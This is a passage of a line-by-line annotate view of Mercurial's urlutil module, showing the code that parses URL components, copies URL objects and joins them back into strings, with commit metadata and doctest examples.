Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
179 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
180 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
181
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
182 if parsequery and b'?' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
183 path, self.query = path.split(b'?', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
184 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
185 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
186 if not self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
187 self.query = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
188
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
189 # // is required to specify a host/authority
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
190 if path and path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
191 parts = path[2:].split(b'/', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
192 if len(parts) > 1:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
193 self.host, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
194 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
195 self.host = parts[0]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
196 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
197 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
198 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
199 # path of file:///d is /d
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
200 # path of file:///d:/ is d:/, not /d:/
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
201 if path and not hasdriveletter(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
202 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
203
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
204 if self.host and b'@' in self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
205 self.user, self.host = self.host.rsplit(b'@', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
206 if b':' in self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
207 self.user, self.passwd = self.user.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
208 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
209 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
210
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
211 # Don't split on colons in IPv6 addresses without ports
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
212 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
213 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
214 and b':' in self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
215 and not (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
216 self.host.startswith(b'[') and self.host.endswith(b']')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
217 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
218 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
219 self._hostport = self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
220 self.host, self.port = self.host.rsplit(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
221 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
222 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
223
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
224 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
225 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
226 and self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
228 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
229 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
230 _(b'file:// URLs can only refer to localhost')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
231 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
232
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
233 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
234
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
235 # leave the query string escaped
50615
9e69d9d6f4cf safehasattr: pass attribute name as string instead of bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
237 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
238 if v is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
239 setattr(self, a, urlreq.unquote(v))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
240
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
241 def copy(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
242 u = url(b'temporary useless value')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
243 u.path = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
244 u.scheme = self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
245 u.user = self.user
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
246 u.passwd = self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
247 u.host = self.host
49758
20f262ab6fd3 path: fix `url.copy` dropping the port
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49756
diff changeset
248 u.port = self.port
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
249 u.query = self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
250 u.fragment = self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
251 u._localpath = self._localpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
252 u._hostport = self._hostport
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
253 u._origpath = self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
254 return u
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
255
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
256 @encoding.strmethod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
257 def __repr__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
258 attrs = []
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
259 for a in (
50897
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
260 'scheme',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
261 'user',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
262 'passwd',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
263 'host',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
264 'port',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
265 'path',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
266 'query',
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
267 'fragment',
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
268 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
269 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
270 if v is not None:
50897
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
271 line = b'%s: %r'
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
272 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
6ca865080479 remotefilelog: use sysstr to access for attributes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50718
diff changeset
273 attrs.append(line)
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
274 return b'<url %s>' % b', '.join(attrs)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
275
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
276 def __bytes__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
277 r"""Join the URL's components back into a URL string.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
278
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
279 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
280
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
281 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
282 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
284 'http://user:pw@host:80/?foo=bar&baz=42'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
285 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
286 'http://user:pw@host:80/?foo=bar%3dbaz'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
287 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
288 'ssh://user:pw@[::1]:2200//home/joe#'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
289 >>> bytes(url(b'http://localhost:80//'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
290 'http://localhost:80//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
291 >>> bytes(url(b'http://localhost:80/'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
292 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
293 >>> bytes(url(b'http://localhost:80'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
294 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
295 >>> bytes(url(b'bundle:foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
296 'bundle:foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
297 >>> bytes(url(b'bundle://../foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
298 'bundle:../foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
299 >>> bytes(url(b'path'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
300 'path'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
301 >>> bytes(url(b'file:///tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
302 'file:///tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
303 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
304 'file:///c:/tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
305 >>> print(url(br'bundle:foo\bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
306 bundle:foo\bar
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
307 >>> print(url(br'file:///D:\data\hg'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
308 file:///D:\data\hg
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
309 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
310 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
311 s = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
312 if self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
313 s = b'bundle:' + s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
314 if self.fragment:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
315 s += b'#' + self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
316 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
317
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
318 s = self.scheme + b':'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
319 if self.user or self.passwd or self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
320 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
321 elif self.scheme and (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
322 not self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
323 or self.path.startswith(b'/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
324 or hasdriveletter(self.path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
325 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
326 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
327 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
328 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
329 if self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
330 s += urlreq.quote(self.user, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
331 if self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
332 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
333 if self.user or self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
334 s += b'@'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
335 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
336 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
337 s += urlreq.quote(self.host)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
338 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
339 s += self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
340 if self.port:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
341 s += b':' + urlreq.quote(self.port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
342 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
343 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
344 if self.path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
345 # TODO: similar to the query string, we should not unescape the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
346 # path when we store it, the path might contain '%2f' = '/',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
347 # which we should *not* escape.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
348 s += urlreq.quote(self.path, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
349 if self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
350 # we store the query in escaped form.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
351 s += b'?' + self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
352 if self.fragment is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
353 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
354 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
355
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
356 __str__ = encoding.strmethod(__bytes__)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
